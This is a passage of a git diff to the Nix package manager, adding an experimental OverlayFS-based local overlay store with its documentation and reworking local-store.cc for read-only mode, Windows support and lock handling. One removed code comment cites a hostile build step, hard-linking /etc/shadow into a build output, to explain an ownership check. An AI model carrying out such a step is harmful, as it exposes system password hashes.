store's store dir. + )"}; + + Setting checkMount{(StoreConfig*) this, true, "check-mount", + R"( + Check that the overlay filesystem is correctly mounted. + + Nix does not manage the overlayfs mount point itself, but the correct + functioning of the overlay store does depend on this mount point being set up + correctly. Rather than just assume this is the case, check that the lowerdir + and upperdir options are what we expect them to be. This check is on by + default, but can be disabled if needed. + )"}; + + const PathSetting remountHook{(StoreConfig*) this, "", "remount-hook", + R"( + Script or other executable to run when overlay filesystem needs remounting. + + This is occasionally necessary when deleting a store path that exists in both upper and lower layers. + In such a situation, bypassing OverlayFS and deleting the path in the upper layer directly + is the only way to perform the deletion without creating a "whiteout". + However this causes the OverlayFS kernel data structures to get out-of-sync, + and can lead to 'stale file handle' errors; remounting solves the problem. + + The store directory is passed as an argument to the invoked executable. + )"}; + + const std::string name() override { return "Experimental Local Overlay Store"; } + + std::optional experimentalFeature() const override + { + return ExperimentalFeature::LocalOverlayStore; + } + + static std::set uriSchemes() + { + return { "local-overlay" }; + } + + std::string doc() override; + +protected: + /** + * @return The host OS path corresponding to the store path for the + * upper layer. + * + * @note The there is no guarantee a store object is actually stored + * at that file path. It might be stored in the lower layer instead, + * or it might not be part of this store at all. + */ + Path toUpperPath(const StorePath & path); +}; + +/** + * Variation of local store using OverlayFS for the store directory. + * + * Documentation on overridden methods states how they differ from their + * `LocalStore` counterparts. + */ +class LocalOverlayStore : public virtual LocalOverlayStoreConfig, public virtual LocalStore +{ + /** + * The store beneath us. + * + * Our store dir should be an overlay fs where the lower layer + * is that store's store dir, and the upper layer is some + * scratch storage just for us. + */ + ref lowerStore; + +public: + LocalOverlayStore(const Params & params) + : LocalOverlayStore("local-overlay", "", params) + { + } + + LocalOverlayStore(std::string_view scheme, PathView path, const Params & params); + + std::string getUri() override + { + return "local-overlay://"; + } + +private: + /** + * First copy up any lower store realisation with the same key, so we + * merge rather than mask it. + */ + void registerDrvOutput(const Realisation & info) override; + + /** + * Check lower store if upper DB does not have. + */ + void queryPathInfoUncached(const StorePath & path, + Callback> callback) noexcept override; + + /** + * Check lower store if upper DB does not have. + * + * In addition, copy up metadata for lower store objects (and their + * closure). (I.e. Optimistically cache in the upper DB.) + */ + bool isValidPathUncached(const StorePath & path) override; + + /** + * Check the lower store and upper DB. + */ + void queryReferrers(const StorePath & path, StorePathSet & referrers) override; + + /** + * Check the lower store and upper DB. + */ + StorePathSet queryValidDerivers(const StorePath & path) override; + + /** + * Check lower store if upper DB does not have. + */ + std::optional queryPathFromHashPart(const std::string & hashPart) override; + + /** + * First copy up any lower store realisation with the same key, so we + * merge rather than mask it. + */ + void registerValidPaths(const ValidPathInfos & infos) override; + + /** + * Check lower store if upper DB does not have. + */ + void queryRealisationUncached(const DrvOutput&, + Callback> callback) noexcept override; + + /** + * Call `remountIfNecessary` after collecting garbage normally. + */ + void collectGarbage(const GCOptions & options, GCResults & results) override; + + /** + * Check which layers the store object exists in to try to avoid + * needing to remount. + */ + void deleteStorePath(const Path & path, uint64_t & bytesFreed) override; + + /** + * Deduplicate by removing store objects from the upper layer that + * are now in the lower layer. + * + * Operations on a layered store will not cause duplications, but addition of + * new store objects to the lower layer can instill induce them + * (there is no way to prevent that). This cleans up those + * duplications. + * + * @note We do not yet optomise the upper layer in the normal way + * (hardlink) yet. We would like to, but it requires more + * refactoring of existing code to support this sustainably. + */ + void optimiseStore() override; + + /** + * Check all paths registered in the upper DB. + * + * Note that this includes store objects that reside in either overlayfs layer; + * just enumerating the contents of the upper layer would skip them. + * + * We don't verify the contents of both layers on the assumption that the lower layer is far bigger, + * and also the observation that anything not in the upper db the overlayfs doesn't yet care about. + */ + VerificationResult verifyAllValidPaths(RepairFlag repair) override; + + /** + * Deletion only effects the upper layer, so we ignore lower-layer referrers. + */ + void queryGCReferrers(const StorePath & path, StorePathSet & referrers) override; + + /** + * Call the `remountHook` if we have done something such that the + * OverlayFS needed to be remounted. See that hook's user-facing + * documentation for further details. + */ + void remountIfNecessary(); + + /** + * State for `remountIfNecessary` + */ + std::atomic_bool _remountRequired = false; +}; + +} diff --git a/src/libstore/local-overlay-store.md b/src/libstore/local-overlay-store.md new file mode 100644 index 000000000..1e1a3d26c --- /dev/null +++ b/src/libstore/local-overlay-store.md @@ -0,0 +1,131 @@ +R"( + +**Store URL format**: `local-overlay` + +This store type is a variation of the [local store] designed to leverage Linux's [Overlay Filesystem](https://docs.kernel.org/filesystems/overlayfs.html) (OverlayFS for short). +Just as OverlayFS combines a lower and upper filesystem by treating the upper one as a patch against the lower, the local overlay store combines a lower store with an upper almost-[local store]. +("almost" because while the upper fileystems for OverlayFS is valid on its own, the upper almost-store is not a valid local store on its own because some references will dangle.) +To use this store, you will first need to configure an OverlayFS mountpoint [appropriately](#example-filesystem-layout) as Nix will not do this for you (though it will verify the mountpoint is configured correctly). + +### Conceptual parts of a local overlay store + +*This is a more abstract/conceptual description of the parts of a layered store, an authoritative reference. +For more "practical" instructions, see the worked-out example in the next subsection.* + +The parts of a local overlay store are as follows: + +- **Lower store**: + + > Specified with the [`lower-store`](#store-experimental-local-overlay-store-lower-store) setting. + + This is any store implementation that includes a store directory as part of the native operating system filesystem. + For example, this could be a [local store], [local daemon store], or even another local overlay store. + + The local overlay store never tries to modify the lower store in any way. + Something else could modify the lower store, but there are restrictions on this + Nix itself requires that this store only grow, and not change in other ways. + For example, new store objects can be added, but deleting or modifying store objects is not allowed in general, because that will confuse and corrupt any local overlay store using those objects. + (In addition, the underlying filesystem overlay mechanism may impose additional restrictions, see below.) + + The lower store must not change while it is mounted as part of an overlay store. + To ensure it does not, you might want to mount the store directory read-only (which then requires the [read-only] parameter to be set to `true`). + + - **Lower store directory**: + + > Specified with `lower-store.real` setting. + + This is the directory used/exposed by the lower store. + + As specified above, Nix requires the local store can only grow not change in other ways. + Linux's OverlayFS in addition imposes the further requirement that this directory cannot change at all. + That means that, while any local overlay store exists that is using this store as a lower store, this directory must not change. + + - **Lower metadata source**: + + > Not directly specified. + > A consequence of the `lower-store` setting, depending on the type of lower store chosen. + + This is abstract, just some way to read the metadata of lower store [store objects][store object]. + For example it could be a SQLite database (for the [local store]), or a socket connection (for the [local daemon store]). + + This need not be writable. + As stated above a local overlay store never tries to modify its lower store. + The lower store's metadata is considered part of the lower store, just as the store's [file system objects][file system object] that appear in the store directory are. + +- **Upper almost-store**: + + > Not directly specified. + > Instead the constituent parts are independently specified as described below. + + This is almost but not quite just a [local store]. + That is because taken in isolation, not as part of a local overlay store, by itself, it would appear corrupted. + But combined with everything else as part of an overlay local store, it is valid. + + - **Upper layer directory**: + + > Specified with [`upper-layer`](#store-experimental-local-overlay-store-upper-layer) setting. + + This contains additional [store objects][store object] + (or, strictly speaking, their [file system objects][file system object] that the local overlay store will extend the lower store with). + + - **Upper store directory**: + + > Specified with the [`real`](#store-experimental-local-overlay-store-real) setting. + > This the same as the base local store setting, and can also be indirectly specified with the [`root`](#store-experimental-local-overlay-store-root) setting. + + This contains all the store objects from each of the two directories. + + The lower store directory and upper layer directory are combined via OverlayFS to create this directory. + Nix doesn't do this itself, because it typically wouldn't have the permissions to do so, so it is the responsibility of the user to set this up first. + Nix can, however, optionally check that that the OverlayFS mount settings appear as expected, matching Nix's own settings. + + - **Upper SQLite database**: + + > Not directly specified. + > The location of the database instead depends on the [`state`](#store-experimental-local-overlay-store-state) setting. + > It is is always `${state}/db`. + + This contains the metadata of all of the upper layer [store objects][store object] (everything beyond their file system objects), and also duplicate copies of some lower layer store object's metadta. + The duplication is so the metadata for the [closure](@docroot@/glossary.md#gloss-closure) of upper layer [store objects][store object] can be found entirely within the upper layer. + (This allows us to use the same SQL Schema as the [local store]'s SQLite database, as foreign keys in that schema enforce closure metadata to be self-contained in this way.) + +[file system object]: @docroot@/store/file-system-object.md +[store object]: @docroot@/store/store-object.md + + +### Example filesystem layout + +Here is a worked out example of usage, following the concepts in the previous section. + +Say we have the following paths: + +- `/mnt/example/merged-store/nix/store` + +- `/mnt/example/store-a/nix/store` + +- `/mnt/example/store-b` + +Then the following store URI can be used to access a local-overlay store at `/mnt/example/merged-store`: + +``` +local-overlay://?root=/mnt/example/merged-store&lower-store=/mnt/example/store-a&upper-layer=/mnt/example/store-b +``` + +The lower store directory is located at `/mnt/example/store-a/nix/store`, while the upper layer is at `/mnt/example/store-b`. + +Before accessing the overlay store you will need to ensure the OverlayFS mount is set up correctly: + +```shell +mount -t overlay overlay \ + -o lowerdir="/mnt/example/store-a/nix/store" \ + -o upperdir="/mnt/example/store-b" \ + -o workdir="/mnt/example/workdir" \ + "/mnt/example/merged-store/nix/store" +``` + +Note that OverlayFS requires `/mnt/example/workdir` to be on the same volume as the `upperdir`. + +By default, Nix will check that the mountpoint as been set up correctly and fail with an error if it has not. +You can override this behaviour by passing [`check-mount=false`](#store-experimental-local-overlay-store-check-mount) if you need to. + +)" diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 4bbeebc3a..72927e3f0 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1,23 +1,31 @@ #include "local-store.hh" #include "globals.hh" +#include "git.hh" #include "archive.hh" #include "pathlocks.hh" #include "worker-protocol.hh" #include "derivations.hh" +#include "realisation.hh" #include "nar-info.hh" #include "references.hh" #include "callback.hh" #include "topo-sort.hh" #include "finally.hh" #include "compression.hh" +#include "signals.hh" +#include "posix-fs-canonicalise.hh" +#include "posix-source-accessor.hh" +#include "keys.hh" +#include "users.hh" #include #include #include +#include +#include #include #include -#include #include #include #include @@ -25,25 +33,45 @@ #include #include #include -#include + +#ifndef _WIN32 +# include +#endif #if __linux__ -#include -#include -#include -#include -#include +# include +# include +# include +# include #endif #ifdef __CYGWIN__ -#include +# include #endif #include +#include "strings.hh" + namespace nix { +LocalStoreConfig::LocalStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params) + : StoreConfig(params) + , LocalFSStoreConfig(authority, params) +{ +} + +std::string LocalStoreConfig::doc() +{ + return + #include "local-store.md" + ; +} + struct LocalStore::State::Stmts { /* Some precompiled SQLite statements. */ SQLiteStmt RegisterValidPath; @@ -91,6 +119,7 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd) if (!lockFile(lockFd.get(), ltWrite, false)) { printInfo("waiting for exclusive access to the Nix store for ca drvs..."); + lockFile(lockFd.get(), ltNone, false); // We have acquired a shared lock; release it to prevent deadlocks lockFile(lockFd.get(), ltWrite, true); } @@ -163,10 +192,13 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd) } } -LocalStore::LocalStore(const Params & params) +LocalStore::LocalStore( + std::string_view scheme, + PathView path, + const Params & params) : StoreConfig(params) - , LocalFSStoreConfig(params) - , LocalStoreConfig(params) + , LocalFSStoreConfig(path, params) + , LocalStoreConfig(scheme, path, params) , Store(params) , LocalFSStore(params) , dbDir(stateDir + "/db") @@ -182,7 +214,11 @@ LocalStore::LocalStore(const Params & params) /* Create missing state directories if they don't already exist. */ createDirs(realStoreDir); - makeStoreWritable(); + if (readOnly) { + experimentalFeatureSettings.require(Xp::ReadOnlyLocalStore); + } else { + makeStoreWritable(); + } createDirs(linksDir); Path profilesDir = stateDir + "/profiles"; createDirs(profilesDir); @@ -196,21 +232,22 @@ LocalStore::LocalStore(const Params & params) for (auto & perUserDir : {profilesDir + "/per-user", gcRootsDir + "/per-user"}) { createDirs(perUserDir); - if (chmod(perUserDir.c_str(), 0755) == -1) - throw SysError("could not set permissions on '%s' to 755", perUserDir); + if (!readOnly) { + if (chmod(perUserDir.c_str(), 0755) == -1) + throw SysError("could not set permissions on '%s' to 755", perUserDir); + } } - createUser(getUserName(), getuid()); - +#ifndef _WIN32 /* Optionally, create directories and set permissions for a multi-user install. */ - if (getuid() == 0 && settings.buildUsersGroup != "") { + if (isRootUser() && settings.buildUsersGroup != "") { mode_t perm = 01775; struct group * gr = getgrnam(settings.buildUsersGroup.get().c_str()); if (!gr) printError("warning: the group '%1%' specified in 'build-users-group' does not exist", settings.buildUsersGroup); - else { + else if (!readOnly) { struct stat st; if (stat(realStoreDir.get().c_str(), &st)) throw SysError("getting attributes of path '%1%'", realStoreDir); @@ -223,6 +260,7 @@ LocalStore::LocalStore(const Params & params) } } } +#endif /* Ensure that the store and its parents are not symlinks. */ if (!settings.allowSymlinkedStore) { @@ -248,25 +286,38 @@ LocalStore::LocalStore(const Params & params) if (stat(reservedPath.c_str(), &st) == -1 || st.st_size != settings.reservedSize) { - AutoCloseFD fd = open(reservedPath.c_str(), O_WRONLY | O_CREAT | O_CLOEXEC, 0600); + AutoCloseFD fd = toDescriptor(open(reservedPath.c_str(), O_WRONLY | O_CREAT +#ifndef _WIN32 + | O_CLOEXEC +#endif + , 0600)); int res = -1; #if HAVE_POSIX_FALLOCATE res = posix_fallocate(fd.get(), 0, settings.reservedSize); #endif if (res == -1) { writeFull(fd.get(), std::string(settings.reservedSize, 'X')); - [[gnu::unused]] auto res2 = ftruncate(fd.get(), settings.reservedSize); + [[gnu::unused]] auto res2 = + +#ifdef _WIN32 + SetEndOfFile(fd.get()) +#else + ftruncate(fd.get(), settings.reservedSize) +#endif + ; } } - } catch (SysError & e) { /* don't care about errors */ + } catch (SystemError & e) { /* don't care about errors */ } /* Acquire the big fat lock in shared mode to make sure that no schema upgrade is in progress. */ - Path globalLockPath = dbDir + "/big-lock"; - globalLock = openLockFile(globalLockPath.c_str(), true); + if (!readOnly) { + Path globalLockPath = dbDir + "/big-lock"; + globalLock = openLockFile(globalLockPath.c_str(), true); + } - if (!lockFile(globalLock.get(), ltRead, false)) { + if (!readOnly && !lockFile(globalLock.get(), ltRead, false)) { printInfo("waiting for the big Nix store lock..."); lockFile(globalLock.get(), ltRead, true); } @@ -274,6 +325,14 @@ LocalStore::LocalStore(const Params & params) /* Check the current database schema and if necessary do an upgrade. */ int curSchema = getSchema(); + if (readOnly && curSchema < nixSchemaVersion) { + debug("current schema version: %d", curSchema); + debug("supported schema version: %d", nixSchemaVersion); + throw Error(curSchema == 0 ? + "database does not exist, and cannot be created in read-only mode" : + "database schema needs migrating, but this cannot be done in read-only mode"); + } + if (curSchema > nixSchemaVersion) throw Error("current Nix store schema is version %1%, but I only support %2%", curSchema, nixSchemaVersion); @@ -281,7 +340,7 @@ LocalStore::LocalStore(const Params & params) else if (curSchema == 0) { /* new store */ curSchema = nixSchemaVersion; openDB(*state, true); - writeFile(schemaPath, (format("%1%") % nixSchemaVersion).str(), 0666, true); + writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); } else if (curSchema < nixSchemaVersion) { @@ -299,6 +358,7 @@ LocalStore::LocalStore(const Params & params) if (!lockFile(globalLock.get(), ltWrite, false)) { printInfo("waiting for exclusive access to the Nix store..."); + lockFile(globalLock.get(), ltNone, false); // We have acquired a shared lock; release it to prevent deadlocks lockFile(globalLock.get(), ltWrite, true); } @@ -329,15 +389,19 @@ LocalStore::LocalStore(const Params & params) txn.commit(); } - writeFile(schemaPath, (format("%1%") % nixSchemaVersion).str(), 0666, true); + writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); lockFile(globalLock.get(), ltRead, true); } else openDB(*state, false); - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations)) { - migrateCASchema(state->db, dbDir + "/ca-schema", globalLock); + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { + if (!readOnly) { + migrateCASchema(state->db, dbDir + "/ca-schema", globalLock); + } else { + throw Error("need to migrate to content-addressed schema, but this cannot be done in read-only mode"); + } } /* Prepare SQL statements. */ @@ -366,7 +430,7 @@ LocalStore::LocalStore(const Params & params) state->stmts->QueryPathFromHashPart.create(state->db, "select path from ValidPaths where path >= ? limit 1;"); state->stmts->QueryValidPaths.create(state->db, "select path from ValidPaths"); - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations)) { + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { state->stmts->RegisterRealisedOutput.create(state->db, R"( insert into Realisations (drvPath, outputName, outputPath, signatures) @@ -413,13 +477,29 @@ LocalStore::LocalStore(const Params & params) } +LocalStore::LocalStore(const Params & params) + : LocalStore("local", "", params) +{ +} + + AutoCloseFD LocalStore::openGCLock() { Path fnGCLock = stateDir + "/gc.lock"; - auto fdGCLock = open(fnGCLock.c_str(), O_RDWR | O_CREAT | O_CLOEXEC, 0600); + auto fdGCLock = open(fnGCLock.c_str(), O_RDWR | O_CREAT +#ifndef _WIN32 + | O_CLOEXEC +#endif + , 0600); if (!fdGCLock) throw SysError("opening global GC lock '%1%'", fnGCLock); - return fdGCLock; + return toDescriptor(fdGCLock); +} + + +void LocalStore::deleteStorePath(const Path & path, uint64_t & bytesFreed) +{ + deletePath(path, bytesFreed); } @@ -439,9 +519,9 @@ LocalStore::~LocalStore() } try { - auto state(_state.lock()); - if (state->fdTempRoots) { - state->fdTempRoots = -1; + auto fdTempRoots(_fdTempRoots.lock()); + if (*fdTempRoots) { + fdTempRoots->close(); unlink(fnTempRoots.c_str()); } } catch (...) { @@ -461,13 +541,20 @@ int LocalStore::getSchema() void LocalStore::openDB(State & state, bool create) { - if (access(dbDir.c_str(), R_OK | W_OK)) + if (create && readOnly) { + throw Error("cannot create database while in read-only mode"); + } + + if (access(dbDir.c_str(), R_OK | (readOnly ? 0 : W_OK))) throw SysError("Nix database directory '%1%' is not writable", dbDir); /* Open the Nix database. */ std::string dbPath = dbDir + "/db.sqlite"; auto & db(state.db); - state.db = SQLite(dbPath, create); + auto openMode = readOnly ? SQLiteOpenMode::Immutable + : create ? SQLiteOpenMode::Normal + : SQLiteOpenMode::NoCreate; + state.db = SQLite(dbPath, openMode); #ifdef __CYGWIN__ /* The cygwin version of sqlite3 has a patch which calls @@ -504,6 +591,19 @@ void LocalStore::openDB(State & state, bool create) sqlite3_exec(db, ("pragma main.journal_mode = " + mode + ";").c_str(), 0, 0, 0) != SQLITE_OK) SQLiteError::throw_(db, "setting journal mode"); + if (mode == "wal") { + /* persist the WAL files when the db connection is closed. This allows + for read-only connections without write permissions on the + containing directory to succeed on a closed db. Setting the + journal_size_limit to 2^40 bytes results in the WAL files getting + truncated to 0 on exit and limits the on disk size of the WAL files + to 2^40 bytes following a checkpoint */ + if (sqlite3_exec(db, "pragma main.journal_size_limit = 1099511627776;", 0, 0, 0) == SQLITE_OK) { + int enable = 1; + sqlite3_file_control(db, NULL, SQLITE_FCNTL_PERSIST_WAL, &enable); + } + } + /* Increase the auto-checkpoint interval to 40000 pages. This seems enough to ensure that instantiating the NixOS system derivation is done in a single fsync(). */ @@ -525,7 +625,7 @@ void LocalStore::openDB(State & state, bool create) void LocalStore::makeStoreWritable() { #if __linux__ - if (getuid() != 0) return; + if (!isRootUser()) return; /* Check if /nix/store is on a read-only mount. */ struct statvfs stat; if (statvfs(realStoreDir.get().c_str(), &stat) != 0) @@ -539,222 +639,9 @@ void LocalStore::makeStoreWritable() } -const time_t mtimeStore = 1; /* 1 second into the epoch */ - - -static void canonicaliseTimestampAndPermissions(const Path & path, const struct stat & st) -{ - if (!S_ISLNK(st.st_mode)) { - - /* Mask out all type related bits. */ - mode_t mode = st.st_mode & ~S_IFMT; - - if (mode != 0444 && mode != 0555) { - mode = (st.st_mode & S_IFMT) - | 0444 - | (st.st_mode & S_IXUSR ? 0111 : 0); - if (chmod(path.c_str(), mode) == -1) - throw SysError("changing mode of '%1%' to %2$o", path, mode); - } - - } - - if (st.st_mtime != mtimeStore) { - struct timeval times[2]; - times[0].tv_sec = st.st_atime; - times[0].tv_usec = 0; - times[1].tv_sec = mtimeStore; - times[1].tv_usec = 0; -#if HAVE_LUTIMES - if (lutimes(path.c_str(), times) == -1) - if (errno != ENOSYS || - (!S_ISLNK(st.st_mode) && utimes(path.c_str(), times) == -1)) -#else - if (!S_ISLNK(st.st_mode) && utimes(path.c_str(), times) == -1) -#endif - throw SysError("changing modification time of '%1%'", path); - } -} - - -void canonicaliseTimestampAndPermissions(const Path & path) -{ - canonicaliseTimestampAndPermissions(path, lstat(path)); -} - - -static void canonicalisePathMetaData_( - const Path & path, - std::optional> uidRange, - InodesSeen & inodesSeen) -{ - checkInterrupt(); - -#if __APPLE__ - /* Remove flags, in particular UF_IMMUTABLE which would prevent - the file from being garbage-collected. FIXME: Use - setattrlist() to remove other attributes as well. */ - if (lchflags(path.c_str(), 0)) { - if (errno != ENOTSUP) - throw SysError("clearing flags of path '%1%'", path); - } -#endif - - auto st = lstat(path); - - /* Really make sure that the path is of a supported type. */ - if (!(S_ISREG(st.st_mode) || S_ISDIR(st.st_mode) || S_ISLNK(st.st_mode))) - throw Error("file '%1%' has an unsupported type", path); - -#if __linux__ - /* Remove extended attributes / ACLs. */ - ssize_t eaSize = llistxattr(path.c_str(), nullptr, 0); - - if (eaSize < 0) { - if (errno != ENOTSUP && errno != ENODATA) - throw SysError("querying extended attributes of '%s'", path); - } else if (eaSize > 0) { - std::vector eaBuf(eaSize); - - if ((eaSize = llistxattr(path.c_str(), eaBuf.data(), eaBuf.size())) < 0) - throw SysError("querying extended attributes of '%s'", path); - - for (auto & eaName: tokenizeString(std::string(eaBuf.data(), eaSize), std::string("\000", 1))) { - if (settings.ignoredAcls.get().count(eaName)) continue; - if (lremovexattr(path.c_str(), eaName.c_str()) == -1) - throw SysError("removing extended attribute '%s' from '%s'", eaName, path); - } - } -#endif - - /* Fail if the file is not owned by the build user. This prevents - us from messing up the ownership/permissions of files - hard-linked into the output (e.g. "ln /etc/shadow $out/foo"). - However, ignore files that we chown'ed ourselves previously to - ensure that we don't fail on hard links within the same build - (i.e. "touch $out/foo; ln $out/foo $out/bar"). */ - if (uidRange && (st.st_uid < uidRange->first || st.st_uid > uidRange->second)) { - if (S_ISDIR(st.st_mode) || !inodesSeen.count(Inode(st.st_dev, st.st_ino))) - throw BuildError("invalid ownership on file '%1%'", path); - mode_t mode = st.st_mode & ~S_IFMT; - assert(S_ISLNK(st.st_mode) || (st.st_uid == geteuid() && (mode == 0444 || mode == 0555) && st.st_mtime == mtimeStore)); - return; - } - - inodesSeen.insert(Inode(st.st_dev, st.st_ino)); - - canonicaliseTimestampAndPermissions(path, st); - - /* Change ownership to the current uid. If it's a symlink, use - lchown if available, otherwise don't bother. Wrong ownership - of a symlink doesn't matter, since the owning user can't change - the symlink and can't delete it because the directory is not - writable. The only exception is top-level paths in the Nix - store (since that directory is group-writable for the Nix build - users group); we check for this case below. */ - if (st.st_uid != geteuid()) { -#if HAVE_LCHOWN - if (lchown(path.c_str(), geteuid(), getegid()) == -1) -#else - if (!S_ISLNK(st.st_mode) && - chown(path.c_str(), geteuid(), getegid()) == -1) -#endif - throw SysError("changing owner of '%1%' to %2%", - path, geteuid()); - } - - if (S_ISDIR(st.st_mode)) { - DirEntries entries = readDirectory(path); - for (auto & i : entries) - canonicalisePathMetaData_(path + "/" + i.name, uidRange, inodesSeen); - } -} - - -void canonicalisePathMetaData( - const Path & path, - std::optional> uidRange, - InodesSeen & inodesSeen) -{ - canonicalisePathMetaData_(path, uidRange, inodesSeen); - - /* On platforms that don't have lchown(), the top-level path can't - be a symlink, since we can't change its ownership. */ - auto st = lstat(path); - - if (st.st_uid != geteuid()) { - assert(S_ISLNK(st.st_mode)); - throw Error("wrong ownership of top-level store path '%1%'", path); - } -} - - -void canonicalisePathMetaData(const Path & path, - std::optional> uidRange) -{ - InodesSeen inodesSeen; - canonicalisePathMetaData(path, uidRange, inodesSeen); -} - - -void LocalStore::checkDerivationOutputs(const StorePath & drvPath, const Derivation & drv) -{ - assert(drvPath.isDerivation()); - std::string drvName(drvPath.name()); - drvName = drvName.substr(0, drvName.size() - drvExtension.size()); - - auto envHasRightPath = [&](const StorePath & actual, const std::string & varName) - { - auto j = drv.env.find(varName); - if (j == drv.env.end() || parseStorePath(j->second) != actual) - throw Error("derivation '%s' has incorrect environment variable '%s', should be '%s'", - printStorePath(drvPath), varName, printStorePath(actual)); - }; - - - // Don't need the answer, but do this anyways to assert is proper - // combination. The code below is more general and naturally allows - // combinations that are currently prohibited. - drv.type(); - - std::optional hashesModulo; - for (auto & i : drv.outputs) { - std::visit(overloaded { - [&](const DerivationOutput::InputAddressed & doia) { - if (!hashesModulo) { - // somewhat expensive so we do lazily - hashesModulo = hashDerivationModulo(*this, drv, true); - } - auto currentOutputHash = get(hashesModulo->hashes, i.first); - if (!currentOutputHash) - throw Error("derivation '%s' has unexpected output '%s' (local-store / hashesModulo) named '%s'", - printStorePath(drvPath), printStorePath(doia.path), i.first); - StorePath recomputed = makeOutputPath(i.first, *currentOutputHash, drvName); - if (doia.path != recomputed) - throw Error("derivation '%s' has incorrect output '%s', should be '%s'", - printStorePath(drvPath), printStorePath(doia.path), printStorePath(recomputed)); - envHasRightPath(doia.path, i.first); - }, - [&](const DerivationOutput::CAFixed & dof) { - StorePath path = makeFixedOutputPath(dof.hash.method, dof.hash.hash, drvName); - envHasRightPath(path, i.first); - }, - [&](const DerivationOutput::CAFloating &) { - /* Nothing to check */ - }, - [&](const DerivationOutput::Deferred &) { - /* Nothing to check */ - }, - [&](const DerivationOutput::Impure &) { - /* Nothing to check */ - }, - }, i.second.raw()); - } -} - void LocalStore::registerDrvOutput(const Realisation & info, CheckSigsFlag checkSigs) { - settings.requireExperimentalFeature(Xp::CaDerivations); + experimentalFeatureSettings.require(Xp::CaDerivations); if (checkSigs == NoCheckSigs || !realisationIsUntrusted(info)) registerDrvOutput(info); else @@ -763,7 +650,7 @@ void LocalStore::registerDrvOutput(const Realisation & info, CheckSigsFlag check void LocalStore::registerDrvOutput(const Realisation & info) { - settings.requireExperimentalFeature(Xp::CaDerivations); + experimentalFeatureSettings.require(Xp::CaDerivations); retrySQLite([&]() { auto state(_state.lock()); if (auto oldR = queryRealisation_(*state, info.id)) { @@ -840,7 +727,7 @@ uint64_t LocalStore::addValidPath(State & state, state.stmts->RegisterValidPath.use() (printStorePath(info.path)) - (info.narHash.to_string(Base16, true)) + (info.narHash.to_string(HashFormat::Base16, true)) (info.registrationTime == 0 ? time(0) : info.registrationTime) (info.deriver ? printStorePath(*info.deriver) : "", (bool) info.deriver) (info.narSize, info.narSize != 0) @@ -862,7 +749,7 @@ uint64_t LocalStore::addValidPath(State & state, derivations). Note that if this throws an error, then the DB transaction is rolled back, so the path validity registration above is undone. */ - if (checkOutputs) checkDerivationOutputs(info.path, drv); + if (checkOutputs) drv.checkInvariants(*this, info.path); for (auto & i : drv.outputsAndOptPaths(*this)) { /* Floating CA derivations have indeterminate output paths until @@ -930,7 +817,7 @@ std::shared_ptr LocalStore::queryPathInfoInternal(State & s if (s) info->sigs = tokenizeString(s, " "); s = (const char *) sqlite3_column_text(state.stmts->QueryPathInfo, 7); - if (s) info->ca = parseContentAddressOpt(s); + if (s) info->ca = ContentAddress::parseOpt(s); /* Get the references. */ auto useQueryReferences(state.stmts->QueryReferences.use()(info->id)); @@ -947,7 +834,7 @@ void LocalStore::updatePathInfo(State & state, const ValidPathInfo & info) { state.stmts->UpdatePathInfo.use() (info.narSize, info.narSize != 0) - (info.narHash.to_string(Base16, true)) + (info.narHash.to_string(HashFormat::Base16, true)) (info.ultimate ? 1 : 0, info.ultimate) (concatStringsSep(" ", info.sigs), !info.sigs.empty()) (renderContentAddress(info.ca), (bool) info.ca) @@ -1036,10 +923,9 @@ StorePathSet LocalStore::queryValidDerivers(const StorePath & path) std::map> -LocalStore::queryPartialDerivationOutputMap(const StorePath & path_) +LocalStore::queryStaticPartialDerivationOutputMap(const StorePath & path) { - auto path = path_; - auto outputs = retrySQLite>>([&]() { + return retrySQLite>>([&]() { auto state(_state.lock()); std::map> outputs; uint64_t drvId; @@ -1051,21 +937,6 @@ LocalStore::queryPartialDerivationOutputMap(const StorePath & path_) return outputs; }); - - if (!settings.isExperimentalFeatureEnabled(Xp::CaDerivations)) - return outputs; - - auto drv = readInvalidDerivation(path); - auto drvHashes = staticOutputHashes(*this, drv); - for (auto& [outputName, hash] : drvHashes) { - auto realisation = queryRealisation(DrvOutput{hash, outputName}); - if (realisation) - outputs.insert_or_assign(outputName, realisation->outPath); - else - outputs.insert({outputName, std::nullopt}); - } - - return outputs; } std::optional LocalStore::queryPathFromHashPart(const std::string & hashPart) @@ -1120,54 +991,6 @@ StorePathSet LocalStore::querySubstitutablePaths(const StorePathSet & paths) } -// FIXME: move this, it's not specific to LocalStore. -void LocalStore::querySubstitutablePathInfos(const StorePathCAMap & paths, SubstitutablePathInfos & infos) -{ - if (!settings.useSubstitutes) return; - for (auto & sub : getDefaultSubstituters()) { - for (auto & path : paths) { - if (infos.count(path.first)) - // Choose first succeeding substituter. - continue; - - auto subPath(path.first); - - // Recompute store path so that we can use a different store root. - if (path.second) { - subPath = makeFixedOutputPathFromCA(path.first.name(), *path.second); - if (sub->storeDir == storeDir) - assert(subPath == path.first); - if (subPath != path.first) - debug("replaced path '%s' with '%s' for substituter '%s'", printStorePath(path.first), sub->printStorePath(subPath), sub->getUri()); - } else if (sub->storeDir != storeDir) continue; - - debug("checking substituter '%s' for path '%s'", sub->getUri(), sub->printStorePath(subPath)); - try { - auto info = sub->queryPathInfo(subPath); - - if (sub->storeDir != storeDir && !(info->isContentAddressed(*sub) && info->references.empty())) - continue; - - auto narInfo = std::dynamic_pointer_cast( - std::shared_ptr(info)); - infos.insert_or_assign(path.first, SubstitutablePathInfo{ - info->deriver, - info->references, - narInfo ? narInfo->fileSize : 0, - info->narSize}); - } catch (InvalidPath &) { - } catch (SubstituterDisabled &) { - } catch (Error & e) { - if (settings.tryFallback) - logError(e.info()); - else - throw; - } - } - } -} - - void LocalStore::registerValidPath(const ValidPathInfo & info) { registerValidPaths({{info.path, info}}); @@ -1176,11 +999,13 @@ void LocalStore::registerValidPath(const ValidPathInfo & info) void 